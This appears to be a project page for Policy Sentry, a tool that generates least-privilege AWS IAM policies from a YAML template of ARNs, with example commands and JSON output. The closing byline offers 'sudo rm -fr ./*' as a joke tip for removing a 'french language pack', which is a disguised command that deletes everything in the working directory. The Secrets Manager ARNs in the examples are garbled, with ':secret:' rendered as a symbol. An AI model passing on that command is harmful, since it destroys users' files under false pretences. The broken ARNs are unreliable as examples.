Policy Sentry

Policy Sentry allows users to create least-privilege IAM policies in a matter of seconds, rather than tediously writing IAM policies by hand. These policies are scoped down according to the proper access levels, and only to the exact resources that your role needs access to. In the case of a breach, this helps to limit the blast radius of compromised credentials by only giving IAM principals access to what they need.

Before this tool, it could take hours to craft the perfect IAM Policy — but now it can take a matter of seconds. This way, developers only have to determine the resources that they need to access, and Policy Sentry abstracts the complexity of IAM policies away from their development processes.

Demo

To generate a policy according to resources and access levels, start by creating a template with the create-template command so you can just fill out the fields, rather than memorizing the format. The –name flag specifies the name of the role, the –output-file flag specifies the name of the file, and the –template-type specifies the “mode” that Policy Sentry will use to create policies (crud or actions).

policy_sentry create-template --name myRole --output-file crud.yml --template-type crud

It will generate a file like this:

policy_with_crud_levels:
- name: myRole
  description: '' # Insert description
  role_arn: '' # Insert the ARN of the role that will use this
  # Insert ARNs under each access level below
  read:
    - ''
  write:
    - ''
  list:
    - ''
  tag:
    - ''
  permissions-management:
    - ''
  # If the policy needs to use IAM actions that cannot be restricted to ARNs, 
  # like ssm:DescribeParameters, specify those actions here.
  wildcard:
    - ''

The template has a few fields:

  • name: the name of your role. This is for readability purposes and for anyone who might review your template later if it is checked into Git.
  • description: this is where you would include your description or justification for that role
  • role_arn: You can insert the ARN of the IAM role that this applies to for informational purposes.
  • The access levels: read, write, list, tag, and permissions-management. Here, you specify a list of ARNs that your service needs access to, under the proper access level. Policy Sentry will match the ARNs with the ARN formats listed in its database, and will generate a policy that restricts actions at that access level that can be matched to those ARNs only. If any of these fields are not used, you can just delete them from the template.
  • wildcard, a special field where you can specify IAM actions that cannot be restricted to ARNs, like ssm:DescribeParameters, if necessary. Delete this field from the template if it is not used.

Then just paste all of the ARNs under the access levels in the template:

policy_with_crud_levels:
- name: myRole
  description: 'Justification for privileges'
  role_arn: 'placeholder'
  read:
    - 'arn:aws:ssm:us-east-1:123456789012:parameter/myparameter'
  write:
    - 'arn:aws:ssm:us-east-1:123456789012:parameter/myparameter'
  list:
    - 'arn:aws:ssm:us-east-1:123456789012:parameter/myparameter'
  tag:
    - 'arn:aws:secretsmanager:us-east-1:123456789012㊙mysecret'
  permissions-management:
    - 'arn:aws:secretsmanager:us-east-1:123456789012㊙mysecret'

Then run the write-policy command. Here, you’ll specify the mode (--crud), and for --input-file, you’ll specify the Policy Sentry template you just created.

policy_sentry write-policy --crud --input-file crud.yml

It will generate these results:

{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Sid": "SsmReadParameter",
            "Effect": "Allow",
            "Action": [
                "ssm:getparameter",
                "ssm:getparameterhistory",
                "ssm:getparameters",
                "ssm:getparametersbypath",
                "ssm:listtagsforresource"
            ],
            "Resource": [
                "arn:aws:ssm:us-east-1:123456789012:parameter/myparameter"
            ]
        },
        {
            "Sid": "SsmWriteParameter",
            "Effect": "Allow",
            "Action": [
                "ssm:deleteparameter",
                "ssm:deleteparameters",
                "ssm:putparameter",
                "ssm:labelparameterversion"
            ],
            "Resource": [
                "arn:aws:ssm:us-east-1:123456789012:parameter/myparameter"
            ]
        },
        {
            "Sid": "SecretsmanagerPermissionsmanagementSecret",
            "Effect": "Allow",
            "Action": [
                "secretsmanager:deleteresourcepolicy",
                "secretsmanager:putresourcepolicy"
            ],
            "Resource": [
                "arn:aws:secretsmanager:us-east-1:123456789012㊙mysecret"
            ]
        },
        {
            "Sid": "SecretsmanagerTaggingSecret",
            "Effect": "Allow",
            "Action": [
                "secretsmanager:tagresource",
                "secretsmanager:untagresource"
            ],
            "Resource": [
                "arn:aws:secretsmanager:us-east-1:123456789012㊙mysecret"
            ]
        }
    ]
}
Avatar
Kinnaird McQuade
Lead Cloud Security Engineer

Always remove the french language pack: sudo rm -fr ./*